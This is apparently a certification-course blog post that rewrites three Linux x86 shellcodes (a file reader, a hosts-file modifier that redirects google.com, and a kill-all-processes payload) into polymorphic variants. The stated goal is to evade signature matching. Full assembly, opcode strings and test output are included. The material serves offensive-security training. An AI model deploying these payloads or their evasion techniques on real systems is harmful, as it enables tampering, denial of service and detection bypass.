In this post, I am going to refer 3 Linux x86 shellcodes from shell-storm database and create their polymorphic versions. To elaborate, I will try to achieve polymorphism by using semantically equivalent instructions to achieve the original functionality, but trying to evade the pattern matching.

I will keep this post short and crisp. So, let’s jump right into it:

Linux/x86 File Reader

The first one that I chose is a file reader shellcode. The shellcode had hard-coded string value, which is the file pathname. Upon execution, the shellcode invokes open, read and write syscall to read the file mentioned by the pathname string. The original shellcode is as follows (converted to Intel format):

global _start

_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        jmp two

one:
        pop ebx

        mov al, 0x5
        xor ecx, ecx
        int 0x80

        mov esi, eax
        jmp read

exit:
        mov al, 0x1
        xor ebx, ebx
        int 0x80

read:
        mov ebx, esi
        mov al, 0x3
        sub esp, 1
        lea ecx,[esp]
        mov dl,0x1
        int 0x80

        xor ebx, ebx
        cmp ebx, eax
        je exit

        mov al, 0x4
        mov bl, 0x1
        mov dl, 0x1
        int 0x80

        add esp, 1
        jmp read

two:
        call one
        db "file_name"

I changed the string file_name to “/etc/netconfig”, compiled and ran the code and got the following output.

root@kali:~/slae/assignments/assignment-6# objdump -d file_reader |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff\x2f\x65\x74\x63\x2f\x6e\x65\x74\x63\x6f\x6e\x66\x69\x67"
root@kali:~/slae/assignments/assignment-6# nano shellcode.c
root@kali:~/slae/assignments/assignment-6# gcc -fno-stack-protector -z execstack shellcode.c -o file_reader_original
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
    7 | main()
      | ^~~~
root@kali:~/slae/assignments/assignment-6# ./file_reader_original
Shellcode length: 79
#
# The network configuration file. This file is currently only used in
# conjunction with the TI-RPC code in the libtirpc library.
#
# Entries consist of:
#
#       <network_id> <semantics> <flags> <protofamily> <protoname> \
#               <device> <nametoaddr_libs>
#
# The <device> and <nametoaddr_libs> fields are always empty in this
# implementation.
#
udp        tpi_clts      v     inet     udp     -       -
tcp        tpi_cots_ord  v     inet     tcp     -       -
udp6       tpi_clts      v     inet6    udp     -       -
tcp6       tpi_cots_ord  v     inet6    tcp     -       -
rawip      tpi_raw       -     inet      -      -       -
local      tpi_cots_ord  -     loopback  -      -       -
unix       tpi_cots_ord  -     loopback  -      -       -

The original shellcode length is 79.

Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:

  • Eliminated JMP-CALL-POP technique
  • Removed db string. Instead, used a stack method to push /etc///netconfig on the stack
  • Removed all mov instructions. Substituted them with add instructions.

The updated code is as follows. I have commented the code too for better understanding.

global _start

_start:
        xor ebx, ebx            ; EBX XORed to NULL
        push ebx                ; push NULL onto stack

        ; push  /etc///netconfig on the stack
        push 0x6769666e         ; gifn : 6769666e
        push 0x6f637465         ; octe : 6f637465
        push 0x6e2f2f2f         ; n/// : 6e2f2f2f
        push 0x6374652f         ; cte/ : 6374652f
        mov ebx, esp

        xor eax, eax            ; EAX XOred to NULL
        add al, 5               ; Increment AL by 5; EAX - 0x5
        xor ecx, ecx
        int 0x80

        mov esi, eax
        jmp read

exit:
        xor eax, eax            ; EAX XOred to NULL
        add al, 1               ; Increment AL by 1; EAX - 0x1
        xor ebx, ebx
        int 0x80

read:
        mov ebx, esi
        xor eax, eax            ; EAX XOred to NULL
        add al, 3               ; Increment AL by 3; EAX - 0x3
        sub esp, 1
        lea ecx,[esp]
        xor edx, edx            ; EDX XOred to NULL
        add dl, 1               ; Increment DL by 1, EDX - 0x1
        int 0x80

        xor ebx, ebx
        cmp ebx, eax
        je exit

        xor eax, eax            ; EAX XOred to NULL
        xor edx, edx            ; EDX XOred to NULL
        add al, 4
        add bl, 1
        add dl, 1
        int 0x80

        add esp, 1
        jmp read

Running this in our skeleton C shellcode shows that the shellcode size is 89, which is just ~11% increase in payload size.

root@kali:~/slae/assignments/assignment-6/file_reader# objdump -d file_reader_polymorphic |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xdb\x53\x68\x6e\x66\x69\x67\x68\x65\x74\x63\x6f\x68\x2f\x2f\x2f\x6e\x68\x2f\x65\x74\x63\x89\xe3\x31\xc0\x04\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x08\x31\xc0\x04\x01\x31\xdb\xcd\x80\x89\xf3\x31\xc0\x04\x03\x83\xec\x01\x8d\x0c\x24\x31\xd2\x80\xc2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xdf\x31\xc0\x31\xd2\x04\x04\x80\xc3\x01\x80\xc2\x01\xcd\x80\x83\xc4\x01\xeb\xd4"
root@kali:~/slae/assignments/assignment-6/file_reader# nano shellcode.c
root@kali:~/slae/assignments/assignment-6/file_reader# gcc -fno-stack-protector -z execstack shellcode.c -o file_reader_poly
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
    7 | main()
      | ^~~~
root@kali:~/slae/assignments/assignment-6/file_reader# ./file_reader_poly
Shellcode length: 89
#
# The network configuration file. This file is currently only used in
# conjunction with the TI-RPC code in the libtirpc library.
#
# Entries consist of:
#
#       <network_id> <semantics> <flags> <protofamily> <protoname> \
#               <device> <nametoaddr_libs>
#
# The <device> and <nametoaddr_libs> fields are always empty in this
# implementation.
#
udp        tpi_clts      v     inet     udp     -       -
tcp        tpi_cots_ord  v     inet     tcp     -       -
udp6       tpi_clts      v     inet6    udp     -       -
tcp6       tpi_cots_ord  v     inet6    tcp     -       -
rawip      tpi_raw       -     inet      -      -       -
local      tpi_cots_ord  -     loopback  -      -       -
unix       tpi_cots_ord  -     loopback  -      -       -
root@kali:~/slae/assignments/assignment-6/file_reader#

Add Entry Hosts file

The second one in the list is a payload which adds mapping of a domain to IP address in the hosts file. The hardcoded values create a mapping of google.com with 127.1.1.1

The original shellcode is as follows:

/**

;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1 
;author Javier Tejedor
;date 24/09/2014

global _start

section .text

_start:
    xor ecx, ecx
    mul ecx
    mov al, 0x5     
    push ecx
    push 0x7374736f     ;/etc///hosts
    push 0x682f2f2f
    push 0x6374652f
    mov ebx, esp
    mov cx, 0x401       ;permmisions
    int 0x80        ;syscall to open file

    xchg eax, ebx
    push 0x4
    pop eax
    jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    pop ecx
    push 20         ;length of the string, dont forget to modify if changes the map
    pop edx
    int 0x80        ;syscall to write in the file

    push 0x6
    pop eax
    int 0x80        ;syscall to close the file

    push 0x1
    pop eax
    int 0x80        ;syscall to exit

_load_data:
    call _write
    google db "127.1.1.1 google.com"
**/

The code when run is of 77 bytes.

root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
root@kali:~/slae/assignments/assignment-6/add_host# ./shellcode
Shellcode length: 77
root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.1.1.1 google.com

Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:

  • As standard push of /etc///hosts on the stack was a defined pattern, I removed it
  • Instead, I broke up each push instruction in the following:
    • Subtracted 0x1111 from each push instruction and moved to ESI register
    • Added 0x1111 in the ESI register
    • Moved ESI to ESP – 4, ESP – 8 and ESP-12 respectively for each instruction
  • Adjusted ESP by subtracting 12

The updated code is as follows. I have commented the code too for better understanding.

;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1
;author Javier Tejedor
;date 24/09/2014

global _start

section .text

_start:
        xor ecx, ecx
        mul ecx
        mov al, 0x5
        push ecx

;       push 0x7374736f     ;/etc///hosts
;       push 0x682f2f2f
;       push 0x6374652f

        ; subtract 0x1111 from 0x7374736f and then add 0x1111
        mov esi, 0x7374625E
        add esi, 0x1111
        mov dword [esp-4], esi

        ; subtract 0x1111 from 0x682f2f2f and then add 0x1111
        mov esi, 0x682F1E1E
        add esi, 0x1111
        mov dword [esp-8], esi

        ; subtract 0x1111 from 0x6374652f amd then add 0x1111
        mov esi, 0x6374541E
        add esi, 0x1111
        mov dword [esp-12], esi

        ; adjust esp
        sub esp, 12

        mov ebx, esp
        mov cx, 0x401       ;permmisions
        int 0x80        ;syscall to open file

        xchg eax, ebx
        push 0x4
        pop eax
        jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
        pop ecx
        push 20         ;length of the string, dont forget to modify if changes the map
        pop edx
        int 0x80        ;syscall to write in the file

        push 0x6
        pop eax
        int 0x80        ;syscall to close the file

        push 0x1
        pop eax
        int 0x80        ;syscall to exit

_load_data:
        call _write
        google db "127.1.1.1 google.com"

Running this in our skeleton C shellcode shows that the shellcode size is 107, which is just ~38% increase in payload size.

root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
root@kali:~/slae/assignments/assignment-6/add_host# ./shellcode
Shellcode length: 107
root@kali:~/slae/assignments/assignment-6/add_host# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.1.1.1

Kill all Processes

This is the last one in this post. This shellcode is pretty straightforward. It kills all processes !

The original code is as follows:

; linux/x86 kill all processes 9 bytes
; root@thegibson
; 2010-01-14
 
section .text
        global _start
 
_start:
        ; kill(-1, SIGKILL);
        mov al, 37
        push byte -1
        pop ebx
        mov cl, 9
        int 0x80

As you can see, this is a very small piece of code that is using kill syscall to kill all the processes. Running this code exits my ssh console session and this code is only 9 bytes long.

Post analyzing the code, I created a polymorphic version. Here are the major changes done in the code:

  • Instead of moving the syscall number directly into EAX register, I broke the instruction into 3 instructions, which has the same function
  • Similarly, instead of moving the 9 directly into ECX register, I broke the instruction into 3 instructions, which has the same function

The modified shellcode is of 19 bytes which is ~111% increase in the size. The modified shellcode is as follows:

; linux/x86 kill all processes 9 bytes
; root@thegibson
; 2010-01-14

section .text

global _start

_start:
        ; kill(-1, SIGKILL);
        ; broke mov al, 37 into 3 instructions
        mov cl, 0x24
        mov eax, ecx
        add eax, 0x1

        push byte -1
        pop ebx

        ; broke mov cl, 9 into 3 instructions
        mov dl, 0x8
        mov ecx, edx
        add ecx, 0x1

        int 0x80

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: PA-16521

The code is also stored at GitHub. Thanks for reading !

Leave a Reply

Your email address will not be published. Required fields are marked *